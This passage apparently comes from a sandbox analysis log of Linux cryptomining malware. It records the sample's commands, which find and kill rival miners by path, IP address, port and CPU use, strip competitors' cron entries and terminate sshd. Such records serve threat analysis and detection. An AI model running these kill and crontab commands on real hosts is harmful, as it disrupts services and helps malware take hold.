  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1448
- /bin/grep
  grep exe
  2⤵
  PID:1451
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1450
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1453
- /bin/grep
  grep exe
  2⤵
  PID:1456
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1455
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1458
- /bin/grep
  grep -v grep
  2⤵
  PID:1461
- /bin/grep
  grep /dot
  2⤵
  PID:1460
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1459
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1462
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1463
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  PID:1464
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1468
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1469
- /bin/grep
  grep -v grep
  2⤵
  PID:1467
- /bin/grep
  grep tracepath
  2⤵
  PID:1466
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1465
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  PID:1470
- /bin/grep
  grep ./ll1
  2⤵
  PID:1472
- /bin/grep
  grep -v grep
  2⤵
  PID:1473
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1474
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1471
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1475
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1476
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1477
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1479
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1478
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1483
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1484
- /bin/grep
  grep -v grep
  2⤵
  PID:1482
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1481
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1480
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1489
- /bin/grep
  grep -v grep
  2⤵
  PID:1487
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1486
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1488
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1485
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1494
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1493
- /bin/grep
  grep -v grep
  2⤵
  PID:1492
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1491
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1490
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1495
- /bin/grep
  grep perfctl
  2⤵
  PID:1496
- /bin/grep
  grep -v grep
  2⤵
  PID:1497
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1498
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1499
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1502
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1503
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1504
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1501
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1509
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1508
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1507
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1506
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1513
- /bin/grep
  grep -v -
  2⤵
  PID:1514
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1515
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1511
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1512
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1519
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1518
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1521
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1517
- /bin/grep
  grep -v -
  2⤵
  PID:1520
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1524
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1525
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1523
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1527
- /bin/grep
  grep -v -
  2⤵
  PID:1526
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1533
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1529
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1530
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1531
- /bin/grep
  grep -v -
  2⤵
  PID:1532
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1534
- /bin/grep
  grep -v grep
  2⤵
  PID:1537
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1539
- /bin/grep
  grep agetty
  2⤵
  PID:1536
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1538
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1535
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:1540
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1542
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1541
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1543
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1546
- /bin/sed
  sed /base64/d
  2⤵
  PID:1545
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1544
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1549
- /bin/sed
  sed /python/d
  2⤵
  PID:1548
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1547
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1552
- /bin/sed
  sed /shm/d
  2⤵
  PID:1551
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1550
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1555
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1554
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1553
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1558
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1557
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1556
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1560
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1561
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1564
- /bin/sed
  sed /linux/d
  2⤵
  PID:1563
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1562
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1567
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1566
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1565
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1570
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1569
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1568
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1573
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1572
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1571
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1576
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1575
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1574
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1579
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1578
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1577
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  PID:1580
- /usr/bin/pkill
  pkill -f htop
  2⤵
  PID:1581
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  PID:1583
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  PID:1584
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  PID:1585
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  PID:1586
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  PID:1587
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  PID:1588
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1592
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1591
- /bin/grep
  grep -v -
  2⤵
  PID:1593
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1594
- /bin/grep
  grep :1414
  2⤵
  PID:1590
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1598
- /bin/grep
  grep -v -
  2⤵
  PID:1599
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1597
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1596
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1600
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1604
- /bin/grep
  grep -v -
  2⤵
  PID:1605
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1603
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1606
- /bin/grep
  grep :143
  2⤵
  PID:1602
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1610
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1609
- /bin/grep
  grep -v -
  2⤵
  PID:1611
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1612
- /bin/grep
  grep :2222
  2⤵
  PID:1608
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1616
- /bin/grep
  grep -v -
  2⤵
  PID:1617
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1618
- /bin/grep
  grep :3333
  2⤵
  PID:1614
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1615
- /bin/grep
  grep -v -
  2⤵
  PID:1623
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1622
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1624
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1621
- /bin/grep
  grep :3389
  2⤵
  PID:1620
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1628
- /bin/grep
  grep -v -
  2⤵
  PID:1629
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1627
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1630
- /bin/grep
  grep :4444
  2⤵
  PID:1626
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1634
- /bin/grep
  grep -v -
  2⤵
  PID:1635
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1633
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1636
- /bin/grep
  grep :5555
  2⤵
  PID:1632
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1640
- /bin/grep
  grep :6666
  2⤵
  PID:1638
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1642
- /bin/grep
  grep -v -
  2⤵
  PID:1641
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1639
- /bin/grep
  grep -v -
  2⤵
  PID:1647
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1648
- /bin/grep
  grep :6665
  2⤵
  PID:1644
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1646
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1645
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1652
- /bin/grep
  grep -v -
  2⤵
  PID:1653
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1651
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1654
- /bin/grep
  grep :6667
  2⤵
  PID:1650
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1658
- /bin/grep
  grep -v -
  2⤵
  PID:1659
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1657
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1660
- /bin/grep
  grep :7777
  2⤵
  PID:1656
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1663
- /bin/grep
  grep :8444
  2⤵
  PID:1662
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1664
- /bin/grep
  grep -v -
  2⤵
  PID:1665
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1666
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1670
- /bin/grep
  grep -v -
  2⤵
  PID:1671
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1669
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1672
- /bin/grep
  grep :3347
  2⤵
  PID:1668
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1676
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1675
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1678
- /bin/grep
  grep -v -
  2⤵
  PID:1677
- /bin/grep
  grep :14444
  2⤵
  PID:1674
- /bin/grep
  grep -v -
  2⤵
  PID:1683
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1681
- /bin/grep
  grep :14433
  2⤵
  PID:1680
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1682
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1684
- /bin/grep
  grep -v -
  2⤵
  PID:1689
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1687
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1690
- /bin/grep
  grep :13531
  2⤵
  PID:1686
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1688
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1691
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1693
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1692
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  PID:1694
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1696
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1695
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  PID:1697
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1699
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1698
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Attempts to change immutable files
  PID:1700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1702
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1701
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Attempts to change immutable files
  PID:1703
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1705
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1704
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Attempts to change immutable files
  PID:1706
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1707
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1708
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1709
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1710
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1711
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  PID:1712
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1713
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1714
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  PID:1715
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1717
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1716
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  - Attempts to change immutable files
  PID:1718
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1720
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1719
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Attempts to change immutable files
  PID:1721
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1723
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1722
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  PID:1724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1726
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1725
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  PID:1727
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1728
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1729
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:1730
- /usr/bin/pkill
  pkill -f monero
  2⤵
  PID:1731
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  PID:1732
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  PID:1733
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1734
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  PID:1735
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads runtime system information
  PID:1736
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  PID:1737
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads runtime system information
  PID:1738
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:1739
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads runtime system information
  PID:1740
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  PID:1741
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:1742
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  PID:1743
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads runtime system information
  PID:1744
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  PID:1745
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:1746
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  PID:1747
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads runtime system information
  PID:1748
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  PID:1749
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1750
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:1751
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  PID:1752
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  PID:1753
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:1755
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1756
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1757
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  PID:1758
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  PID:1759
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1763
- /bin/grep
  grep -v grep
  2⤵
  PID:1762
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1764
- /bin/grep
  grep ./udp
  2⤵
  PID:1761
- /bin/ps
  ps aux
  2⤵
  PID:1760
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1768
- /bin/grep
  grep -v grep
  2⤵
  PID:1767
- /bin/grep
  grep ./oka
  2⤵
  PID:1766
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1769
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1765
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1774
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1771
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1770
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1778
- /bin/grep
  grep -v "("
  2⤵
  PID:1779
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1776
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1780
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1781
- /bin/grep
  grep -v postgres
  2⤵
  PID:1782
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:1775
- /bin/grep
  grep -v bin
  2⤵
  PID:1777
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1783
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1784
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1785
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1786
- /bin/grep
  grep -v bin
  2⤵
  PID:1789
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1792
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1788
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1793
- /bin/grep
  grep -v postgres
  2⤵
  PID:1794
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1790
- /bin/grep
  grep -v "("
  2⤵
  PID:1791
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1795
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1796
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:1787
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1797
- /bin/grep
  grep -v bin
  2⤵
  PID:1800
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1801
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1799
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1803
- /bin/grep
  grep -v "("
  2⤵
  PID:1802
- /bin/ps
  ps ax
  2⤵
  - Reads runtime system information
  PID:1798
- /bin/grep
  grep -v postgres
  2⤵
  PID:1805
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1804
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1806
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1807
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1808
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1813
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1812
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1811
- /bin/grep
  grep -v grep
  2⤵
  PID:1810
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1809
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1818
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1817
- /bin/grep
  grep -v grep
  2⤵
  PID:1816
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1815
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1814
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1823
- /bin/grep
  grep -v grep
  2⤵
  PID:1821
- /bin/grep
  grep ./crun
  2⤵
  PID:1820
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1822
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1819
- /bin/grep
  grep -v grep
  2⤵
  PID:1826
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:1825
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1827
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1828
- /bin/ps
  ps aux
  2⤵
